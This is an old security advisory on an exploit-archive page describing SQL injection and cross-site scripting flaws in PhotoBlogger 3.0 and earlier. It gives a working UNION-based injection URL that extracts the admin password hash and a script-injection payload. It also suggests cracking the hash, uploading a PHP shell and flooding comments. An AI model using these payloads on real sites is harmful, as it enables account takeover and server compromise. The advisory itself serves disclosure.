what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Advisory-20.txt

Advisory-20.txt
Posted Mar 8, 2006
Authored by Paisterist | Site neosecurityteam.net

PhotoBlogger versions 3.0 and below suffer from cross site scripting and SQL injection vulnerabilities.

tags | exploit, vulnerability, xss, sql injection
SHA-256 | 449c56de560d9b374c3a92df9c3cdb251ac391d51f429449f2f2cbaf9334ecc7

Advisory-20.txt

Change Mirror Download
/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]� - Advisory #20 - 04/03/06
--------------------------------------------------------
Program: Pixel Post
Homepage: http://photoblogger.halof.de/
Vulnerable Versions: 3.0 and lower versions.
Risk: High!
Impact: Critical Risk

-==Phtoblogger <= 3.0 XSS & SQL Injection Vulnerabilities==-
---------------------------------------------------------

- Description
---------------------------------------------------------
PhotoBlogger is a customizable script that offers easy photoblog managing.
You can batch upload images, add your own text to every image and you can fully customize the layout of your photoblog.

- Tested
---------------------------------------------------------
localhost & many sites

- Explotation
---------------------------------------------------------

1)

Vulnerable code:

magic_quotes_gpc must be Off in order to exploit it.

==[ comments.php 89-90 ]==========================
[...]
if ($id){
$result = mysql_query("SELECT $table_images.file AS file, title, date, text FROM $table_images WHERE id = $id");
$file = mysql_result($result,0,"file");
$title = mysql_result($result,0,"title");
$description = mysql_result($result,0,"text");
[...]
==[ end index.php ]==========================

$id is the variable that is used to get the image data and is not correctly parsed, so we can inject sql code.
The point is that the script checks some fields, but not the filename.

So we are going to use the UNION statement to select the admin data. Also we have to know the prefix table, which is photoblogger_ by default.
Here below you can see an SQL Injection Proof of Concept.

PoC:
---------------------------------------------------------

http://[site]/[photoblogger_path]/comments.php?id=23 UNION SELECT password AS title, mail_text AS file, mail_sender AS date, mail_subject as text FROM photoblogger_other

Note: the id image has to be an invalid id. This way, we get the admin hash.

When you do this request, you don't see the image, but if you check the source code you can find something like this:

<br>
<img src="images/thumb/e10adc3949ba59abbe56e057f20f883e" alt="" /><br /><br />
<br>

The filename that was overwritten in the sql query, is now the admin hash e10adc3949ba59abbe56e057f20f883e ;)

Then you have to crack with brute forcing the md5 hash.

2)

When you add a coment you can make an HTML Injection, without ' because there are parsed with the function addslashes().
With the HTML & JavaScript Code Injection you can steal cookies, put any html tag, redirect the comments page to another site, etc.

Proof of Concept:

Value: "><script>alert("XSS");</script> (put this in all the fields).

3)
When you obtain the admin password decrypted you can upload any kind of files in the upload images section, like a php shell, a directory explorer or whatever.

The application was not fully tested and there other vulnerabilities, but is not useful to keep searching, this bugs are the criticals. Another example is that you can post all messages you want, so you can make a script for do a DoS attack by the comments section ;).


- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=20

- Credits
-------------------------------------------------
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


- Greets
--------------------------------------------------------
Knightmare
HaCkZaTaN
K4P0
Daemon21
Link
LINUX

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@ @@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@

/* EOF */
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close